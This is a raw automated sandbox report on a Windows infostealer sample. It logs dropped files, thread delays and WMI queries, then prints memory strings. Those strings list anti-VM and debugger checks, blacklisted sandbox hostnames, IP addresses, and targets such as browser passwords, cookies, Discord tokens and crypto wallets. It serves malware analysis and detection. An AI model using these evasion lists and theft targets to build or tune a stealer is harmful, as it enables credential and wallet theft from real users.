Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\eternal.exe	Window / User API: threadDelayed 8611	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3681
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3682
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2867
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 445
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2770
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5023
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3668

Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\rar.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\python313.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\_socket.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI44642\_ssl.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\program.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_5-17364

Source: C:\Users\user\AppData\Roaming\program.exe

API coverage: 7.8 %

Source: C:\Users\user\Desktop\EternalPredictor.exe TID: 3552	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe TID: 6424	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4040	Thread sleep count: 3681 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7392	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4536	Thread sleep count: 3682 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6996	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4648	Thread sleep count: 2867 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7388	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4216	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 7308	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8100	Thread sleep count: 445 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7024	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8140	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 4216	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3032	Thread sleep count: 5023 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5420	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5040	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep count: 3668 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7796	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\tree.com	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C659280 FindFirstFileExW,FindClose,	5_2_00007FF72C659280
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C6583C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00007FF72C6583C0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C671874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF72C671874
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C659280 FindFirstFileExW,FindClose,	8_2_00007FF72C659280
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C671874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_00007FF72C671874
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C6583C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	8_2_00007FF72C6583C0

Source: C:\Users\user\AppData\Roaming\program.exe

Code function: 8_2_00007FFBA67A1230 GetSystemInfo,

8_2_00007FFBA67A1230

Source: C:\Users\user\Desktop\EternalPredictor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: getmac.exe, 00000047.00000002.1690693599.000002A33CDFE000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1686883329.000002A33CDE3000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1687922319.000002A33CDFD000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1687630217.000002A33CDE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: Handshakemath/randClassINETAuthorityquestionsinfo_hashuser32.dllvmwaretrayxenservicevmwareusermegadumperscyllahidevirtualboxPxmdUOpVyxQ9IATRKPRHPaul Jonesd1bnJkfVlHQarZhrdBpjPC-DANIELEqarzhrdbpjq9iatrkprhd1bnjkfvlhJUDES-DOJOGJAm1NxXVmdOuyo8RV7105KvAUQKPQOf20XqH4VLpxmduopvyxJcOtj17dZxcM0uEGN4do64F2tKIqO5GexwjQdjXGfNBDSlDTXYmcafee.comnorton.comzillya.comsophos.comclamav.netpowershellsystemrootlogins.txtLogin DataChrome SxS360BrowserUR BrowserdiscordptbinitiationByHackirbysecure.datauto_startsteam-tempEpic Games.minecraftRiot GamesShowWindow-NoProfileExtensionsExodusWeb3PaliWalletwinsymlink/dev/stdinCreateFileterminatedowner diedDnsQuery_WGetIfEntryCancelIoExCreatePipeGetVersionWSACleanupWSAStartupgetsockoptsetsockoptdnsapi.dllws2_32.dllexecerrdotSYSTEMROOTavatar_url
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwareservice
Source: SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: (scan MB in pacer: % CPU ( zombie, j0 = head = panic: nmsys= locks= dying= allocs m->g0= pad1= pad2= text= minpc= value= (scan)types : type TuesdayJanuaryOctoberMUI_StdMUI_DltAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutapdh.dllwindowswsarecvwsasendlookup writetoavx512fSHA-224SHA-256SHA-384SHA-512InstAltInstNopalt -> nop -> any -> NRGBA64tls3desderivedInitialExpiresSubjectcharsetos/execruntimeanswers]?)(.*)Ed25519MD5-RSAserial:eae_prk2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsavevmtoolsdvboxtraypestudiovmacthlpksdumperdebuggerstrongodgraywolf0harmonyreversalUSERNAMEEIEEIFYEGBQHURCCORXGKKZCoreleepcJBYQTQBOMARCI-PClmVwjj9bGRXNNIIELUCAS-PCjulia-pcXGNSVODUESPNHOOLORELEEPCVONRAHELTMKNGOMUJULIA-PC05h00Gi05ISYH9SHICQja5iTQZSBJVWMUspG1y1CecVtZ5wEBUiA1hkmOZFUCOD6o8yTi52Th7dk1xPrQORxJKNkgL50ksOpSqgFOf3Gj.seancedxd8DJ7clmvwjj9beset.com-CommandDisabled0.0.0.0 Web DataWaterfoxK-MeleonCyberfoxBlackHawUsernamePasswordBrowsers```%s```ChromiumElementsCatalinaQIP SurfpasswordbancairemetamaskdatabasePicturesOneDriveindex.jsSettingssettings.featherNovolinealts.txtPaladiumgames-%s
Source: SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: res binderres masterresumptionexp masterContent-IdMessage-IdHTTP_PROXYhttp_proxyhttp2debugcrypto/tlsParseAddr(invalid IPClassCSNETClassCHAOSAdditionalskipping: SHA256-RSASHA384-RSASHA512-RSADSA-SHA256ECDSA-SHA1base_noncePOSTALCODEavx512ifmaavx512vbmiavx512vnniavx512gfniavx512vaesavx512bf16EnumWindowsOpenProcessvboxservicecodecrackerBAROSINO-PCCOFFEE-SHOParchibaldpcARCHIBALDPCLANTECH-LLCALENMOOS-PC9yjCPsEYIMHnoK4zG7ZhOfOgJb6GqgK0OnZAp7UBVaS1xPLyvzr8sgCBvJChRPnsxnykj0egq7fzeuHUQIuwoEFUkFu0lQwgX5PryjIJKIrOMs4tgiizsLimS95.25.81.2435.199.6.1334.105.0.2780.211.0.9778.139.8.50totalav.comadaware.comThunderbirdTarget Pathcookies.txt%-70s %-70shistory.txtdescriptionCrypt32.dllLocal StateCentBrowserFiles Foundmot_de_passFatal ErrorMessageBoxW`
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: program.exe, 00000008.00000003.1743204693.00000237A5926000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Moni
Source: getmac.exe, 00000047.00000003.1686883329.000002A33CDE3000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1687630217.000002A33CDE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: getmac.exe, 00000047.00000002.1690693599.000002A33CDFE000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1686883329.000002A33CDE3000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1687922319.000002A33CDFD000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1687630217.000002A33CDE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: getmac.exe, 00000047.00000003.1687528519.000002A33CE15000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000002.1690693599.000002A33CE17000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1686883329.000002A33CDE3000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1687362776.000002A33CE0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport*
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 9fvmwaretray
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: program.exe, 00000008.00000003.1743975302.00000237A5859000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4E1C000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1945952201.00000237A5859000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1715550482.00000237A5926000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: f2vmusrvc
Source: skuld.exe, 00000003.00000002.1611437577.0000020F19FDC000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthSystray.exe, 0000004A.00000002.1740450700.0000029DB581D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SecurityHealthSystray.exe, 00000036.00000002.1740993816.00000206F4C2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllkk
Source: getmac.exe, 00000047.00000002.1690693599.000002A33CDFE000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1686883329.000002A33CDE3000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1687922319.000002A33CDFD000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1687630217.000002A33CDE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAWrkProtocolRSV
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dytesqemu-ga
Source: SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: tznamerdtscppopcntempty rune1 RGBA64Gray16X25519%w%.0wAcceptServercmd/goheaderAnswerLengthSTREETavx512rdrandrdseedwebhookcryptosregeditollydbgdf5servvmusrvctaskmgrqemu-gafakenetfiddlerdumpcapsharpodsnifferpetoolsharmonycharlesphantomx32_dbgx64_dbgwpe pro3u2v9m8SERVER1MIKE-PCNETTYPClisa-pcHEUeRzljohn-pcZELJAVALISA-PCWILEYPCJOHN-PCserver1wileypcAIDANPC7DBgdxuJAW4Dz0cMkNdS6Mr.Nonej7pNjWMequZE3Jo6jdigqKUv3bT4ymONofgheuerzlIVwoKUFavg.comDefaultFirefoxMercuryAddressNetworkCookiesHistorykey4.dbThoriumIridiumVivaldiOrbitumMaxthonK-MelonSputnikSlimjetOperaGXaccountaddressDesktopcontentAppDatadiscordmodulesRoamingversionWindowsFeatherBadlionleveldbAPPDATACaption%.2f GBprofileDiscord`Nitro`.sqlitecmd.exeWallets\ArmoryCoinomiBinanceMartianPhantomSafepalSolfareiWalletLICENSEProtectfloat32float64readdirconsoleabortedCopySidWSARecvWSASendconnectsignal runningPATHEXT_pragmapragma _txlocknumber nil keyUpgradeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECT19531259765625FreeSidSleepExinvaliduintptrSwapperChanDir Value>Convert\\.\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil
Source: SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: OpenEventAUnlockFileunrechableno consoleenter-fastRIPEMD-160impossible[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:]rune <nil>image: NewBM????res binderres masterresumptionexp masterContent-IdMessage-IdHTTP_PROXYhttp_proxyhttp2debugcrypto/tlsParseAddr(invalid IPClassCSNETClassCHAOSAdditionalskipping: SHA256-RSASHA384-RSASHA512-RSADSA-SHA256ECDSA-SHA1base_noncePOSTALCODEavx512ifmaavx512vbmiavx512vnniavx512gfniavx512vaesavx512bf16EnumWindowsOpenProcessvboxservicecodecrackerBAROSINO-PCCOFFEE-SHOParchibaldpcARCHIBALDPCLANTECH-LLCALENMOOS-PC9yjCPsEYIMHnoK4zG7ZhOfOgJb6GqgK0OnZAp7UBVaS1xPLyvzr8sgCBvJChRPnsxnykj0egq7fzeuHUQIuwoEFUkFu0lQwgX5PryjIJKIrOMs4tgiizsLimS95.25.81.2435.199.6.1334.105.0.2780.211.0.9778.139.8.50totalav.comadaware.comThunderbirdTarget Pathcookies.txt%-70s %-70shistory.txtdescriptionCrypt32.dllLocal StateCentBrowserFiles Foundmot_de_passFatal ErrorMessageBoxW`
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: program.exe, 00000008.00000003.1549428382.00000237A4819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmware)
Source: eternal.exe, 00000002.00000002.3236463360.000000001BE94000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWIm%SystemRoot%\system32\mswsock.dll.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL"/>
Source: getmac.exe, 00000047.00000003.1687528519.000002A33CE15000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000002.1690693599.000002A33CE17000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1686883329.000002A33CDE3000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000047.00000003.1687362776.000002A33CE0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: f01vmsrvc
